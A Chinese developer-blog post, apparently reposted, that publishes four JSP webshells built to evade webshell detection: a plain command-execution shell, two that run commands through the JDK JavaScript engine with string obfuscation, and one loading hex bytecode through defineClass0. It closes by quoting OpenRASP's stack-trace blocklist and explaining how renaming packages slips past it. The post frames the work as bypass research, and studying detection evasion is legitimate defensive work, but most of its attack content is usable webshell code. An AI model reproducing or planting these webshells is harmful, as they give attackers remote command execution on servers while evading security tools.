热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

java动态加载特性中实现jspwebshell绕过的示例分析

今天就跟大家聊聊有关java动态加载特性中实现jspwebshell绕过的示例分析,可能很多人都不太了解,为了让大家更加了解,小编给大家总结了以下内容

今天就跟大家聊聊有关java动态加载特性中实现jsp webshell绕过的示例分析,可能很多人都不太了解,为了让大家更加了解,小编给大家总结了以下内容,希望大家根据这篇文章可以有所收获。

整体介绍

共四个jsp webshell 当时用来参加青藤webshell bypass 活动。主要思路是在静态中寻找动态特性:jdk内置Javascript引擎class字节码加载

0.jsp webshell裸奔

<%@ page import="java.util.*,java.io.*"%>





<%
if (request.getParameter("cmd") != null) {
        out.println("Command: " + request.getParameter("cmd") + "
");         Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));         OutputStream os = p.getOutputStream();         InputStream in = p.getInputStream();         DataInputStream dis = new DataInputStream(in);         String disr = dis.readLine();         while ( disr != null ) {                 out.println(disr);                 disr = dis.readLine();                 }         } %>

最直接的写法直接over。另外发现本机PC windows defender也有把0.jsp查杀了。

java动态加载特性中实现jsp webshell绕过的示例分析

1.jsp 借助Javascript引擎开始第一次动态化

<%@ page import="java.util.*,java.io.*,javax.script.*,java.net.*"%>

<%
if (request.getParameter("cmd") != null) {
        String n = request.getParameter("cmd");
  try {
        n = java.net.URLDecoder.decode(n, "UTF-8");
			} catch (Exception e) {
					  e.printStackTrace();
			}
        String j = System.getProperty("java.version");
        ScriptEngineManager engineManager = new ScriptEngineManager();
        ScriptEngine engine = null;
        boolean b = j.indexOf("1.7") == 0 ? true : false;
        engine = engineManager.getEngineByName("js");
        String m = b ? "(function sum() {importPackage(java.util);importPackage(java.lang);Runtime.getRuntime().exec(a); return a; })(a)" :
          "load(\"nashorn:mozilla_compat.js\");(function sum() {importPackage(java.util);importPackage(java.lang);Runtime.getRuntime().exec(a); return a; })(a)";
        Bindings bindings = engine.createBindings();
        bindings.put("a", n);
        engine.setBindings(bindings, ScriptContext.GLOBAL_SCOPE);
        engine.eval(m, bindings);
  }
%>

jdk内置Javascript引擎,其中从jdk1.6默认实现是:Rhino jdk,jdk 1.8之后是:nashorn。1.jsp有对jdk不同版本做了适配。

2.jsp 基于动态化后的变形

<%@ page import="java.util.*,java.io.*,javax.script.*,java.net.*"%>

<%
if (request.getParameter("cmd") != null) {
        String n = request.getParameter("cmd");
  try {
        n = java.net.URLDecoder.decode(n, "UTF-8");
			} catch (Exception e) {
					  e.printStackTrace();
			}
        String j = System.getProperty("java.version");
        ScriptEngineManager engineManager = new ScriptEngineManager();
        ScriptEngine engine = null;
        boolean b = j.indexOf("1.7") == 0 ? true : false;
        engine = engineManager.getEngineByName("js");
        String m = b ? "(function sum() {importPackage(java.util);importPackage(java.lang);{$0}time{$1}Run{$2}().ex{$3}(a); return a; })(a)"
                             .replace("{$0}" ,"Run")
                             .replace("{$1}",".get")
                             .replace("{$2}","time")
                             .replace("{$3}","ec"):
          "load(\"nashorn:mozilla_compat.js\");(function sum() {importPackage(java.util);importPackage(java.lang);Run{$0}ntime().e{$1}c(a); return a; })(a)"
                .replace("{$0}","time.getRu")
                .replace("{$1}","xe");

        Bindings bindings = engine.createBindings();
        bindings.put("a", n);
        engine.setBindings(bindings, ScriptContext.GLOBAL_SCOPE);
        engine.eval(m, bindings);
  }
%>

1.jsp中只是使用了js引擎,但是还没充分发挥动态脚本混淆和变形的能力,2.jsp尝试做简单的替换变形。我们知道xss的防护对正则检测的挑战是很大的,个人的感受是xss经常伴随着html和Javascript的混合,并且Javascript的变化多端容易混淆带来的进一步的检测难度,这里我们实现了类似的思路:java 与Javascript的混合,Javascript的动态多变能力依然可以发力,所以无论是正则还是静态语法分析的检测方式应该都会带来一些障碍。

3.jsp 字节码动态加载

<%@ page import="java.util.*,java.io.*,javax.script.*,java.net.*"%>
<%@ page import="java.lang.reflect.Method" %>

<%

    if (request.getParameter("cmd") != null) {
        String n = request.getParameter("cmd");
        try {
            n = java.net.URLDecoder.decode(n, "UTF-8");
        } catch (Exception e) {
            e.printStackTrace();
        }

        String regexSeparator = ":";
        String[] octets = hex.split(regexSeparator);
        byte[] data = new byte[octets.length];

        for (int i = 0; i < octets.length; i++) {
            if (octets[i].length() > 2) {
                throw new NumberFormatException("Invalid octet length");
            }
            data[i] = Integer.valueOf(octets[i], 16).byteValue();
        }

        L l = new L();
        l.defineClass0("A", data);
        Class classA = l.loadClass("A");
        Method m = classA.getDeclaredMethod("F", String.class);
        m.invoke(null, n);
    }
%>

3.jsp 是基于defineClass0 加载字节码来bypass。当时的思路也是想历次的入侵黑客喜欢用base64做些绕过,java可以动态加载字节码,字节码十六进制传递很难被正则waf抓住。后面在研究 ”冰蟹“ 的时候看到也用了defineclass方式。

内置Javascript引擎带来的脆弱

JEP提案,开发者 与安全三者的感想

jdk中是否要内置Javascript引擎值得商榷,的确java开发者有比较强的 动态脚本 的需求,比如我自己做些规则引擎,配置系统的时候常用到这样的特性。这样的需求groovy是个很好的榜样,由第三方jar包提供。现实情况下内置的Javascript引擎性可能不满足应用需求,比如jdk从1.8将实现换成nashorn,到了jdk15提案中又有人提议替换掉nashorn。还有在自己研究百度openrasp的时候,可以看到最早期版本java对应的规则引擎是由jdk内置提供的,而到最后还是因为性能问题切换到V8引擎。

solr配置脚本RCE

另记一次solr CVE-2019-0193 远程代码执行漏洞,记得当初这个0day爆出的时候乙方的poc文章对payload打了马赛克,结合官方文档已经猜到是Javascript动态配置引起,立马验证确实如此。此处有“default”,脆弱性立马显现。

java动态加载特性中实现jsp webshell绕过的示例分析

一句话Javascript引擎哪家强有由用户自己决定吧

对比其他webshell工具

在写完上面的几个jsp的webshell的时候,和部门做渗透同事交流他提到过一个“冰蟹”。以前对webshell工具的理解上更多的关注自动化,方便,比如“中国菜刀”。但是“冰蟹”不同,他借用了协议交互会话的逻辑去增强bypass能力,开阔了思路值得借鉴。

RASP能做些什么?

以百度rasp为例,针对冰蟹,Javascript动态脚本的webshell如何去匹配呢?

function validate_stack_java(stacks) {
    var known    = {
        &#39;com.thoughtworks.xstream.XStream.unmarshal&#39;:                                   "Using xstream library",
        &#39;java.beans.XMLDecoder.readObject&#39;:                                             "Using WebLogic XMLDecoder library",
        &#39;org.apache.commons.collections4.functors.InvokerTransformer.transform&#39;:        "Using Transformer library (v4)",
        &#39;org.apache.commons.collections.functors.InvokerTransformer.transform&#39;:         "Using Transformer library",
        &#39;org.apache.commons.collections.functors.ChainedTransformer.transform&#39;:         "Using Transformer library",
        &#39;org.jolokia.jsr160.Jsr160RequestDispatcher.dispatchRequest&#39;:                   "Using JNDI library (JSR 160)",
        &#39;com.sun.jndi.rmi.registry.RegistryContext.lookup&#39;:                             "Using JNDI registry service",
        &#39;org.apache.xbean.propertyeditor.JndiConverter&#39;:                                "Using JNDI binding class",
        &#39;com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig&#39;:                "Using JTA transaction manager",
        &#39;com.sun.jndi.url.ldap.ldapURLContext.lookup&#39;:                                  "Using LDAP factory service",
        &#39;com.alibaba.fastjson.JSON.parseObject&#39;:                                        "Using fastjson library",
        &#39;org.springframework.expression.spel.support.ReflectiveMethodExecutor.execute&#39;: "Using SpEL expressions",
        &#39;freemarker.template.utility.Execute.exec&#39;:                                     "Using FreeMarker template",
        &#39;org.jboss.el.util.ReflectionUtil.invokeMethod&#39;:                                "Using JBoss EL method",
        &#39;org.codehaus.groovy.runtime.ProcessGroovyMethods.execute&#39;:                     "Using Groovy library",
        &#39;bsh.Reflect.invokeMethod&#39;:                                                     "Using BeanShell library",
        &#39;jdk.scripting.nashorn/jdk.nashorn.internal.runtime.ScriptFunction.invoke&#39;:     "Using Nashorn engine",
        &#39;org.apache.shiro.io.DefaultSerializer.deserialize&#39;:                            "Using Shiro framework (DefaultSerializer)"
    }
 
    var userCode = false, reachedInvoke = false, i = 0, message = undefined
 
    // v1.1.1 要求在堆栈里过滤 com.baidu.openrasp 相关的类,因为没有实现正确而产生了多余的反射堆栈,这里需要兼容下防止误报
    // v1.1.2 修复了这个问题,即堆栈顶部为命令执行的方法
    if (stacks.length > 3
        && stacks[0].startsWith(&#39;sun.reflect.GeneratedMethodAccessor&#39;)
        && stacks[1] == &#39;sun.reflect.GeneratedMethodAccessorImpl.invoke&#39;
        && stacks[2] == &#39;java.lang.reflect.Method.invoke&#39;)
    {
        i = 3
    }
 
    for (; i < stacks.length; i ++) {
        var method = stacks[i]
 
        // 检查反射调用 -> 命令执行之间,是否包含用户代码
        if (! reachedInvoke) {
            if (method == &#39;java.lang.reflect.Method.invoke&#39;) {
                reachedInvoke = true
            }
 
            // 用户代码,即非 JDK、com.baidu.openrasp 相关的函数
            if (! method.startsWith(&#39;java.&#39;)
                && !method.startsWith(&#39;sun.&#39;)
                && !method.startsWith(&#39;com.sun.&#39;)
                && !method.startsWith(&#39;com.baidu.openrasp.&#39;))
            {
                userCode = true
            }
        }
 
        if (method.startsWith(&#39;ysoserial.Pwner&#39;)) {
            message = "Using YsoSerial tool"
            break
        }
 
        if (method.startsWith(&#39;net.rebeyond.behinder&#39;)) {
            message = "Using BeHinder defineClass webshell"
            break
        }
 
        if (method.startsWith(&#39;com.fasterxml.jackson.databind.&#39;)) {
            message = "Using Jackson deserialze method"
            break
        }
 
        // 对于如下类型的反射调用:
        // 1. 仅当命令直接来自反射调用才拦截
        // 2. 如果某个类是反射生成,这个类再主动执行命令,则忽略
        if (! userCode) {
            if (method == &#39;ognl.OgnlRuntime.invokeMethod&#39;) {
                message = "Using OGNL library"
                break
            }  else if (method == &#39;java.lang.reflect.Method.invoke&#39;) {
                message = "Unknown vulnerability detected"
            }
        }
 
        if (known[method]) {
            message = known[method]
        }
    }
    return message
}

我们可以看到rasp会hook住java stacks信息,然后去和已知的黑名单库去匹配,比如上面提到的 Javascript引擎手法(关键字nashorn),冰蟹(关键字behinder)。不得不说rasp这种以调用栈作为上下文检测的更加精准,但是软件的生命周期是迭代的,对抗的手法也是升级的。

比如Javascript引擎随着jdk版本的迭代而变化,策略脚本中缺失了jdk 1.8 之前Rhino方式 。对于冰蟹关键字”behinder“匹配能够防住工具小子,尽管冰蟹作者没有公布源码,但是拟向这类工具更改包名都不是难事,从而逃脱rasp的检查。

看完上述内容,你们对java动态加载特性中实现jsp webshell绕过的示例分析有进一步的了解吗?如果还想了解更多知识或者相关内容,请关注编程笔记行业资讯频道,感谢大家的支持。


推荐阅读
  • 本文介绍了django中视图函数的使用方法,包括如何接收Web请求并返回Web响应,以及如何处理GET请求和POST请求。同时还介绍了urls.py和views.py文件的配置方式。 ... [详细]
  • 本文介绍了使用AJAX的POST请求实现数据修改功能的方法。通过ajax-post技术,可以实现在输入某个id后,通过ajax技术调用post.jsp修改具有该id记录的姓名的值。文章还提到了AJAX的概念和作用,以及使用async参数和open()方法的注意事项。同时强调了不推荐使用async=false的情况,并解释了JavaScript等待服务器响应的机制。 ... [详细]
  • Java实战之电影在线观看系统的实现
    本文介绍了Java实战之电影在线观看系统的实现过程。首先对项目进行了简述,然后展示了系统的效果图。接着介绍了系统的核心代码,包括后台用户管理控制器、电影管理控制器和前台电影控制器。最后对项目的环境配置和使用的技术进行了说明,包括JSP、Spring、SpringMVC、MyBatis、html、css、JavaScript、JQuery、Ajax、layui和maven等。 ... [详细]
  • springmvc学习笔记(十):控制器业务方法中通过注解实现封装Javabean接收表单提交的数据
    本文介绍了在springmvc学习笔记系列的第十篇中,控制器的业务方法中如何通过注解实现封装Javabean来接收表单提交的数据。同时还讨论了当有多个注册表单且字段完全相同时,如何将其交给同一个控制器处理。 ... [详细]
  • Python瓦片图下载、合并、绘图、标记的代码示例
    本文提供了Python瓦片图下载、合并、绘图、标记的代码示例,包括下载代码、多线程下载、图像处理等功能。通过参考geoserver,使用PIL、cv2、numpy、gdal、osr等库实现了瓦片图的下载、合并、绘图和标记功能。代码示例详细介绍了各个功能的实现方法,供读者参考使用。 ... [详细]
  • 使用正则表达式爬取36Kr网站首页新闻的操作步骤和代码示例
    本文介绍了使用正则表达式来爬取36Kr网站首页所有新闻的操作步骤和代码示例。通过访问网站、查找关键词、编写代码等步骤,可以获取到网站首页的新闻数据。代码示例使用Python编写,并使用正则表达式来提取所需的数据。详细的操作步骤和代码示例可以参考本文内容。 ... [详细]
  • 深入理解CSS中的margin属性及其应用场景
    本文主要介绍了CSS中的margin属性及其应用场景,包括垂直外边距合并、padding的使用时机、行内替换元素与费替换元素的区别、margin的基线、盒子的物理大小、显示大小、逻辑大小等知识点。通过深入理解这些概念,读者可以更好地掌握margin的用法和原理。同时,文中提供了一些相关的文档和规范供读者参考。 ... [详细]
  • Linux重启网络命令实例及关机和重启示例教程
    本文介绍了Linux系统中重启网络命令的实例,以及使用不同方式关机和重启系统的示例教程。包括使用图形界面和控制台访问系统的方法,以及使用shutdown命令进行系统关机和重启的句法和用法。 ... [详细]
  • 本文介绍了九度OnlineJudge中的1002题目“Grading”的解决方法。该题目要求设计一个公平的评分过程,将每个考题分配给3个独立的专家,如果他们的评分不一致,则需要请一位裁判做出最终决定。文章详细描述了评分规则,并给出了解决该问题的程序。 ... [详细]
  • 本文介绍了计算机网络的定义和通信流程,包括客户端编译文件、二进制转换、三层路由设备等。同时,还介绍了计算机网络中常用的关键词,如MAC地址和IP地址。 ... [详细]
  • 在重复造轮子的情况下用ProxyServlet反向代理来减少工作量
    像不少公司内部不同团队都会自己研发自己工具产品,当各个产品逐渐成熟,到达了一定的发展瓶颈,同时每个产品都有着自己的入口,用户 ... [详细]
  • 个人学习使用:谨慎参考1Client类importcom.thoughtworks.gauge.Step;importcom.thoughtworks.gauge.T ... [详细]
  • 本文介绍了南邮ctf-web的writeup,包括签到题和md5 collision。在CTF比赛和渗透测试中,可以通过查看源代码、代码注释、页面隐藏元素、超链接和HTTP响应头部来寻找flag或提示信息。利用PHP弱类型,可以发现md5('QNKCDZO')='0e830400451993494058024219903391'和md5('240610708')='0e462097431906509019562988736854'。 ... [详细]
  • Go Cobra命令行工具入门教程
    本文介绍了Go语言实现的命令行工具Cobra的基本概念、安装方法和入门实践。Cobra被广泛应用于各种项目中,如Kubernetes、Hugo和Github CLI等。通过使用Cobra,我们可以快速创建命令行工具,适用于写测试脚本和各种服务的Admin CLI。文章还通过一个简单的demo演示了Cobra的使用方法。 ... [详细]
  • 本文详细介绍了如何使用MySQL来显示SQL语句的执行时间,并通过MySQL Query Profiler获取CPU和内存使用量以及系统锁和表锁的时间。同时介绍了效能分析的三种方法:瓶颈分析、工作负载分析和基于比率的分析。 ... [详细]
author-avatar
盼抽淡了烟的悲伤
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有